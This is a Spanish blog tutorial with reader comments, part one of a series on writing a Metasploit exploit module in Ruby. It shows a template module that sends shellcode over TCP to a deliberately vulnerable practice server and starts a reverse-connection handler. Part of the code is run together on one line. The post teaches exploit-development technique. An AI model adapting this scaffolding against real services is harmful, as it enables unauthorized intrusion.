23 sept 2013

How To: Cómo crear un módulo de Metasploit (Parte I)

En el artículo de hoy hablaremos de como crear un módulo de Metasploit. Hemos ido viendo en distintos artículos como ir creando scripts de Meterpreter, pero aún no hemos explicado como crearnos un módulo de Metasploit, por ejemplo de tipo exploit. Realmente un módulo de Metasploit no es más que un conjunto de atributos heredados y métodos definidos, los cuales debemos implementar su comportamiento. Cuando desde Metasploit hacemos uso del comando use <ruta módulo exploit>, internamente se realiza una instancia de nuestro módulo y en el cual la línea de comandos de msfconsole nos permite llamar a métodos y configurar atributos.
Para hacer la creación de un módulo más sencilla, el framework nos aporta una plantilla o sample el cual podremos utilizar para partir de ello. Al visualizar la plantilla se localizan atributos que solemos utilizar en la utilización de los módulos y los métodos que podemos lanzar. Podemos separar el módulo en dos partes, declaración de valores a través del método initialize y por otro lado la declaración e implementación de otras funcionalidades como son check, exploit, etc.
La plantilla la podremos encontrar dentro de la carpeta del framework de Metasploit en la ruta relativa documentation/samples/modules/exploits. En la imagen de ejemplo utilizamos BackTrack, aunque perfectamente válido para Kali Linux.
Objetivo del módulo
La idea final de estos artículos es conseguir un módulo el cual se conectará a un servidor, el cual escribiremos más adelante en lenguaje C (hay muchos esqueletos por Intenet). Nuestro módulo podrá lanzar una shellcode hacia el servidor que está escrito en C, el cual ejecutaremos en un Windows y éste al recibir la shellcode, ejecutará lo que recibe. Entonces, cuando el servidor ejecute lo que recibe estará ejecutando nuestra shellcode. Lo importante de todo esto, es entender el funcionamiento, que siempre será similar en otros módulos, del código que implementamos en Ruby. Obviamente no estaremos explotando una vulnerabilidad, porque no estamos desbordando buffer ni nada similar, pero la idea desde el punto de vista docente queda expuesta.
Ahora vamos a ir mostrando el código por partes. En primer lugar la parte de inicialización del módulo:
require ‘msf/core’
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
class Metasploit4 < Msf::Exploit::Remote
# This exploit affects TCP servers, so we use the TCP client mixin.
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
‘Name’           => ‘Shellcode Send’,
‘Description’    => %q{
Aqui hablamos la descripción. Por ejemplo, Este módulo lanzará mediante una conexión TCP contra un servidor una shellcode, la cual será seleccionada en el atributo PAYLOAD
},
‘Author’         => ‘Pablo’,
‘Version’        => ‘$Revision: 15946 $’,
‘References’     => # Aqui pondríamos los links de la vulnerabilidad que explota el módulo
[
],
‘Payload’        =>
{
‘Space’    => 1024, #Importante
‘BadChars’ => “\x00″, #Generación de shellcode, bytes a evitar
},
‘DefaultOptions’ => # Opciones que vendrán cargadas por defecto en el módulo, por ejemplo el RPORT
{
‘RPORT’   => 8888,
},
‘Targets’        =>
[
# Target 0: Windows All
[
'Windows Universal',
{
'Platform' => 'win',
'Ret'      => 0x41424344 # Dirección RET utilizada en el exploit
}
],
],
‘DefaultTarget’ => 0))
end
Los campos como Default Options son imortantes para asignar a priori valores a los atributos del framework. El atributo target es importante e irá cambiando, por ejemplo la clave RET, ya que en función de la vulnerabilidad tendrá un valor. Es más, realmente irá en función de la versión del SO, generalmente. El atributo Payload, es otro de los importantes donde en SPACE y BADCHARS deben ser correctamente configurados. Los bytes nulos son especificados en BADCHARS para evitar que una shellcode sea generada con esos bytes. Por otro lado, los campos "administrativos" deben ser configurados como son Name, Author, Versiones, References.
Ahora vamos con la segunda parte del módulo, la parte donde se implementan las funciones de "acción".
## The sample exploit just indicates that the remote host is always# vulnerable.#def checkreturn Exploit::CheckCode::Vulnerableend## The exploit method connects to the remote service and sends 1024 A's# followed by the fake return address and then the payload.#def exploitconnect# Build the buffer for transmissionbuf = payload.encoded# Send it offsock.put(buf)sock.gethandlerendend
El método Check debe implementar las acciones para comprobar si existe vulnerabilidad, por ejemplo si la versión del servidor remoto es vulnerable o no. En nuestro caso devolvemos siempre que es vulnerable, pero deberíamos implementar alguna condición para comprobar si el producto remoto es explotable.
Por otro lado, tenemos la función exploit. En este método se utiliza connect para conectar y crear el socket TCP con la dirección IP que se indique en RHOST. Una vez creado el socket, se debe crear el buffer que se enviará a la aplicación remota vulnerable, en nuestro caso simplemente le pasamos el payload encodeado. En otras ocasiones, lo normal es que tengamos que utilizar alguna configuración en el buf como buffer overflow. En resumen podríamos entender que en buf, normalmente utilizaremos buf = basura + ret + shellcode, por ejemplo. En el caso de hoy, solo hacemos buf = shellcode, porque sabemos que el servidor escrito en C recibirá el buffer y ejecutará directamente el código, sin necesidad de cambiar el flujo para ejecutar nuestra shellcode. Por último, enviamos el buffer por el socket, y lanzamos el handler por si tenemos que recibir la conexión inversa.
En el siguiente artículo mostraremos el código del servidor en C, y los pantallazos de que todo funciona como queremos. Esperemos que os interese estas pruebas de concepto. 

3 comentarios:

  1. [...] En el artículo de hoy hablaremos de como crear un módulo de Metasploit. Hemos ido viendo en distintos artículos como ir creando scripts de Meterpreter, pero aún no hemos explicado como crearnos un módulo de Metasploit, por ejemplo de tipo exploit. Realmente un módulo de Metasploit no es más que un conjunto de atributos heredados y métodos definidos, los cuales debemos implementar su comportamiento. Cuando desde Metasploit hacemos uso del comando use <ruta módulo exploit>, internamente se realiza una instancia de nuestro módulo y en el cual la línea de comandos de msfconsole nos permite llamar a métodos y configurar atributos.  [...]

    ResponderEliminar
  2. Interesante articulo! Se sale! :) Algunos comentarios para aquellos interesados en escribir modulos para metasploit:* El campo Verion estaba relacionado con el uso de SVN, y ahora, con la migracion a GIT, ya no es necesario, se debe omitir en nuevos modulos:‘Version’ => ‘$Revision: 15946 $’,* "El atributo target es importante e irá cambiando, por ejemplo la clave RET, ya que en función de la vulnerabilidad tendrá un valor. Es más, realmente irá en función de la versión del SO, generalmente" ==> Como bien dices en la segunda parte, la informacion de cada "Target", dentro de un modulo, hace referencia a un SO o version especifica de la aplicacion vulnerable :)* " y lanzamos el handler por si tenemos que recibir la conexión inversa." ==> Realmente, normalmente no es necesario llamar al metodo handler, ya que el handler se instalara y se inicializara durante la ejecucion del "setup" de un exploit. La mayoria de payloads utilizan un puerto (canal) diferente que el utilizado para la explotacion de la vulnerabilidad, con lo cual esto es suficiente y el handler ejecutado durante el "setup" cazara guay el payload :). Hay exceptiones, por ejemplo cuando se quiere iniciar una sesion sobre una comunicacion telnet o ssh, utilizando el payload interact :) Aqui abra que llamar al metodo handler sobre el canal (socket) una vez este preparado para iniciar la sesion :)Ojala que hayan colaboraciones de gente leyendo estos articulos! Se saldria!Saludos,juan

    ResponderEliminar
  3. [...] el pasado artículo hablamos de como crear un módulo de Metasploit. En el artículo de hoy vamos a mostrar el código del servidor utilizado para recibir la [...]

    ResponderEliminar